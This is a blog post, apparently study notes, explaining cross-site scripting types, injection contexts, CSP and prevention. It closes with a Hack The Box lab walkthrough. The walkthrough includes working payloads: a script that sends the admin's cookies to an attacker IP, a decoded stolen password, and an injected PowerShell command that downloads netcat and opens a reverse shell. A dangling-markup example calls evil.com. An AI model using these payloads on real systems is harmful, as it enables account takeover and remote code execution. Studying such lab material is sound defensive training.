Skip to main content
  1. Posts/

XSS (Cross-Site Scripting) - Applied Review

·15 mins
web BSCP
Table of Contents

This is going to be a longer post, so I am leaving out some more intuitive pieces of information like explaining impact and testing strategies because I think if you understand everything here, the other things will come naturally. There will also only be one lab here because I wasn’t able to find that many diverse CTF examples.

I would recommend the SEED Lab resources because one of the labs has you simulate something pretty similar to the Myspace worm of 2005.

What is XSS?
#

Cross-site scripting allows attackers to compromise certain interactions a user might have with a vulnerable application. This usually allows an attacker to masquerade as a victim user and perform actions on their behalf.

This is done by manipulating the website into returning malicious JavaScript to users. If this malicious code executes within a victim’s browser, it is up to the attacker what happens next.

The definition of this vulnerability and how it works is somewhat vague, but that is mostly because the sheer scope of XSS is huge. XSS has consistently been up there in the OWASP top 10 and persists in tons of web applications. It also has a really broad amount of potential use cases for an attacker because it allows you to execute code in a browser, which could let you do tons of things.

What can we do with it?
#

Because of the broad potential of this kind of attack, we might be able to:

  • Impersonate users
  • Carry out any actions normal users can
  • Read data that users can access
  • Capture login credentials
  • Deface the website
  • Inject trojan-like functionality into the site

Types of XSS
#

There are three main categories of XSS that we can focus on:

  • Reflected XSS
  • Stored XSS
  • DOM-Based XSS

Reflected XSS
#

Reflected XSS occurs when the application receives data in an HTTP request and includes that data in an immediate response in an unsafe way. A good example of sites that utilize this would be search functions on web pages.

Imagine we are searching for an article on a blog and we get no results, the URL and page content might look like this:

https://vulnerable.com/search?=gamnig
<p>No results  found for: gaming</p>

If our input isn’t sanitized at all, we might be able to modify the inline HTML and execute JavaScript in the browser like this:

https://vulnerable.com/search?=<script>alert(1)</script>

And this would trigger a pop-up alert with the number 1 as the message. If an attacker supplied this URL to a user, the JavaScript will be executed in the victim’s browser which can be much worse than an alert box.

Stored XSS
#

Stored XSS is when an application receives data and includes that data within later HTTP responses in an unsafe way. A good example of this would be if you are allowed to post comments on an article website that can be rendered on the page for other users to see.

You might leave a comment that gets shown on the page like this:

<p>This was a good article!</p>

But if there is no sanitization being done on the comment input we might be able to input and execute JavaScript.

<p><script>alert(1)</script></p>

The key thing to remember about stored to avoid mixing it up with reflected is that stored XSS is going to be saved on the site somehow where reflected will need a specific request to get the malicious response.

This opens up the impact because victims may not need to actively do anything outside of the ordinary to execute the JavaScript on their browser. A good example of this would be Samy Kumar’s Myspace worm that utilized stored XSS.

DOM-Based XSS
#

DOM-Based XSS is when JavaScript takes data from an attacker-controlled source and passes it to a sink (the location in the document object model (DOM) where input is processed) that supports execution like eval() or innerHTML.

This would let an attacker execute JavaScript by delivering a payload to some source location that will be propagated to a sink and executed. You’ll most often find this with the window.location object.

This is different from other types of XSS because instead of trying to inject into the HTML that will be stored or reflected by the server, DOM XSS will include client-side injection and execution.

I know this explanation might not be very clear now but it will be as we go through some examples.

Finding Sinks
#

In order to exploit with DOM XSS, you’ll need to find a sink. You can usually use the developer tools to do this by looking for where your inputs appear when viewing the page source. You then try to identify the context and see how your input is being processed, this way you can make an informed effort to get your JavaScript executed.

Of course this process might be more difficult if the page has very difficult to interpret JavaScript or HTML, so keep that in mind.

Different Sources and Sinks
#

There are a bunch of different sinks that have varying properties and behavior which can affect exploitability. There is also the possibility that the target application is using certain validation or sanitization that will limit our ability to exploit a given sink.

Not only do you need to keep in mind the differences between the normal sinks, but you need to consider sources and sinks from third-party dependencies and whether or not those are being stored or reflected.

I strongly recommend trying out the labs on Portswigger to get an idea of the different cases you could see. I would also follow the previously described methodology to see what sinks you can access and whether or not they are vulnerable.

Identifying XSS Contexts
#

When looking for reflected and stored XSS, you want to find the context which is a combination of the location in the response our input returns in and the input validation being performed on that data by the application.

I strongly recommend this XSS Cheat Sheet while testing around.

Between HTML Tags
#

When the XSS context is between HTML tags, you would need to introduce new tags like <script> to execute the JavaScript. You’ll also need to try and play around to determine certain encoding and blacklisting methods that may be in place.

In HTML Tag Attributes
#

If the context is inside of a tag, you might be able to terminate the tag you start in and create a new one. It might look like this:

"><script>alert(1)</script>

You might run into a case where the brackets are encoded or blocked so introducing a new attribute might mitigate this issue:

" autofocus onfocus=alert(document.domain) x="

Of course, if the type of tag we are in is already a scriptable context like href, we could just add something like this:

<a href="javascript:alert(document.domain)">

Of course these are only a few tricks that scratch the surface, practice makes perfect after all.

XSS Inside JavaScript
#

When our context is already inside some JavaScript, we have a few different options, but their effectiveness will depend on the scenario you find it in.

We could try to terminate the existing script we’ve landed in. For example if we are able to control some input inside of the <script> tags, it might be reasonable to terminate those tags and use our own JavaScript:

</script><img src=1 onerror=alert(document.domain)>

This works because browsers prioritize page elements being interpreted higher than JavaScript being parsed - and even though this breaks the code, it still executes the JavaScript in the image tag.

You also might find your input inside of strings, or being encoded in some way and depending on what you are able to observe, you can make a payload that should work if the application is vulnerable.

Exploits Using XSS
#

We’ve talked a bunch about how we can execute JavaScript, but let’s go over some examples of what we can actually do with it. Sometimes it is context-dependent and other times it can be pretty straightforward.

Stealing Cookies
#

Most web applications use cookies to manage user sessions, and we can utilize some XSS attacks to send user cookies to our domain. We could use the session cookies for another user to impersonate them in some situations.

The issue is that we need some conditions to be met for this to work:

  • The user must not be logged in
  • Many sites use HttpOnly to hide cookies from other domains
  • Sessions might be locked to additional factors like an IP address
  • Sessions can time out before we can steal the cookie

Capturing Passwords
#

Many users utilize password managers with browser extensions or the browser’s innate functionality. We can sometimes take advantage of the auto-fill feature and sending it to our domain. This does get us around some of the cookie-stealing shortcomings but is limited to users who have auto-fill enabled.

Performing CSRF
#

Because we can emulate any legitimate user behavior with XSS, we could do things like get a user to change their account information to something we find useful. For example if a website does not require you to enter a password to reset an email address, we could get another user to set their email to one we control, effectively stealing their account.

Content Security Policy (CSP)
#

CSP is a mechanism designed to mitigate XSS by restricting resources like scripts and images that a page is allowed to load and restricting whether a page can be framed by other pages.

To enable this safeguard, your responses need to include an HTTP header called Content-Security-Policy with some value containing the policy.

Here is an example of a directive that you would include in a CSP to only allow scripts loaded from the same origin as the page itself:

Content-Security-Policy: script-src 'self'

Naturally, if you are allowing scripts from external domains you should be very selective to avoid attackers using those external domains to allow a script on your site.

You can also have a CSP specify a nonce, where that same nonce needs to be included in a script for it to load. So long as this nonce is not guessable by attackers, it will be very difficult to execute a script that is not allowed by the CSP.

CSPs can also specify the hash of a trusted script’s contents to verify if it is allowed to be executed. This would mean an attacker would have to rely on something like hash collisions to get a malicious script executed, assuming that no malicious scripts are already allowed.

Dangling Markup Attacks
#

We might try a dangling markup attack if regular XSS isn’t possible. If certain escape characters aren’t filtered out of our input and the input is stored in the page contents, we might be able to include something like this:

"><img src='//evil.com?

Because we leave this src attribute dangling, a browser will parse the response and wait until it sees another single quite to terminate the attribute.

Imagine we want to steal a nonce value that is generated by the site, where the HTML looks like this:

<p>Hello, [some value we control]</p>
<script nonce=abc src=/legit.js></script>

We can introduce a dangling src attribute like this:

<p>Hello, <script src='https://evil.com/evil.js' </p>
<script nonce=abc src=/legit.js></script>

In theory, the browser would parse this code and call out to the JavaScript hosted at our evil domain, and hopefully the second src attribute is discarded by the parser.

Some browsers have built-in dangling markup mitigations that block requests containing certain characters.

Protecting Against Clickjacking
#

You can also configure a CSP to protect against clickjacking attacks, which are attacks that involve loading the victim page in an iframe on a malicious page.

You can introduce the following directive to ensure that your page is only able to be framed by pages in your origin:

frame-ancestors 'self'

Using a CSP to prevent clickjacking is more flexible than using the X-Frame-Options header because you can specify multiple domains and use wildcards. For example:

frame-ancestors 'self' https://site1.com https://*.site2.com

Of course there are more different applications of CSPs and attacks that try to work around the CSP defenses that are worth looking into despite not being included here.

Prevention
#

There are a bunch of general principles that we can use when preventing XSS and thankfully, a lot of these are fairly straightforward and easy to follow.

Encoding Output
#

You are going to want to encode all user-controlled data before it is written to a page. This also means you need to take the context the data falls under into account. For example you’d want to encode < into &lt; for an HTML context, but use \u003c for a JavaScript context.

Sometimes you’ll even want to apply multiple layers of encoding in order to safely use it on your site.

Validating Input
#

Even though encoding is probably the most important defense, it might not always work. Try to validate inputs as strictly as possible at the point when it is first received from a user. Generally, you’ll want to block invalid inputs using whitelists if possible.

Allowing Safe HTML
#

Avoid having users post HTML markup as much as possible and if it is necessary, try to whitelist the only necessary tags and utilize JavaScript libraries that filters and encodes data in the user’s browser. Just keep in mind that when using other libraries that you should keep a close eye on security updates and vulnerabilities for it.

Using a CSP
#

Using a CSP might be one of the more robust ways of dealing with XSS as well as one of the simplest. You can choose to include a wide range of scripts without being too heavily limited in what you can still do.

There are other preventions to keep in mind that may be implementation-specific like PHP and jQuery preventions for XSS, so if you are using some of those technologies try to keep in mind that there is always more to be done.

Labs / Practice
#

HTB Bankrobber
#

This machine has a site that seems to be designed to have us transfer some kind of currency between users. We can make an account and we are given some starting balance to work with.

We can try to capture a transfer in our Burp repeater and see if anything interesting reveals itself:

xss-1

xss-2

The response also seems to trigger an alert box in our browser:

xss-3

The important thing about this is that the information here tips us off that the admin will review our transfer request. So because we aren’t in control of when our possible JavaScript will be executed, we can use an out-of-band technique to see if we can have the script reach out to our webserver.

I decided to use the following payload in the comment section:

<script src=http://10.10.14.4/gabe></script>

Thankfully, we got a request on our HTTP server:

╰─ python3 -m http.server 80             
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.228.109 - - [28/Nov/2023 19:38:07] code 404, message File not found
10.129.228.109 - - [28/Nov/2023 19:38:07] "GET /gabe HTTP/1.1" 404 -

Now we just need to try and get it to send us some data that might be useful. We know that the admin will be looking at the page so maybe we can make some JavaScript that can steal their cookie.

We know that the cookie being used is just the user ID along with a URL-encoded and Base64-encoded version of the username and password. But this is important because we can use the document.cookie property to move this around easily.

I got frustrated with trying different payloads and waiting for minutes and minutes for the admin to check just to find out if my payload works so I opted to try an alternate approach.

We know that there is no CSP being used here so we can host JavaScript on our machine and get it called and executed by the admin’s browser.

We can host some JavaScript in a file called cookie.js on our machine and then call it in the <script> tag from earlier. This should execute the script once the GET request succeeds.

Our script just sends an HTTP request to our machine containing the cookie:

var request = new XMLHttpRequest();
request.open('GET', 'http://10.10.14.4/?cookiespls='+document.cookie, true);
request.send()

Then we just need to use this payload:

<script src=http://10.10.14.4/cookie.js></script>

Once we wait a few minutes, we can see the encoded username and password and we are able to log in as the admin with their credentials:

---SNIP---
10.129.228.109 - - [28/Nov/2023 20:46:06] "GET /?cookiespls=username=YWRtaW4%3D;%20password=SG9wZWxlc3Nyb21hbnRpYw%3D%3D;%20id=1 HTTP/1.1" 200 -

#then we can decode this, for example the password is below
╰─ omz_urldecode SG9wZWxlc3Nyb21hbnRpYw%3D%3D | base64 -d 
Hopelessromantic

But once we’ve logged in as the admin on the site there is even more that we can find in the Security section of the page that lets us run the dir command:

xss-4

We can look at this request in Burp and see more information about how this is meant to be used:

xss-5

We are only able to actually use these commands is we are accessing it from localhost. This should make you start thinking about SSRF, and the XSS we already found should let us do that.

I will skip the SQL injection that displays the backdoor.php logic that allows us to construct the following request in our JS:

var xhr = new XMLHttpRequest();
xhr.open("POST", "http://localhost/admin/backdoorchecker.php", true);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send('cmd=dir|powershell -c "Invoke-WebRequest -Uri http://10.10.14.4/nc.exe -OutFile %temp%\\nc.exe"; %temp%\\nc.exe -e cmd.exe 10.10.14.4 1337');

You just need to have a netcat executable in your HTTP server directory and then send the following payload through:

<script src=http://10.10.14.4/backdoor.js></script>

Then, on our server and listener we see the following:

#in our HTTP server:
---SNIP---
10.129.228.109 - - [28/Nov/2023 22:18:06] "GET /backdoor.js HTTP/1.1" 200 -
10.129.228.109 - - [28/Nov/2023 22:18:07] "GET /nc.exe HTTP/1.1" 200 -
---SNIP---

#in our listener on 1337
╰─ nc -lvp 1337             
listening on [any] 1337 ...
10.129.228.109: inverse host lookup failed: Unknown host
connect to [10.10.14.4] from (UNKNOWN) [10.129.228.109] 50676
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. Alle rechten voorbehouden.

C:\xampp\htdocs\admin>whoami
whoami
bankrobber\cortin

C:\xampp\htdocs\admin>

Related

NoSQL Injection - Applied Review
·9 mins
web BSCP
What is NoSQL Injection? # These types of attacks occur when attackers interfere with the queries that the web application sends to a NoSQL database.
XXE Injection | Applied Review
·13 mins
web BSCP
What is XML External Entity Injection (XXE)? # This vulnerability has to do with how certain web applications process XML data.
SSRF - Applied Review
·9 mins
web BSCP
What is Server Side Request Forgery? # SSRF is a vulnerability that allows attackers to cause the application to make requests to an unintended location from the server that the application is running on.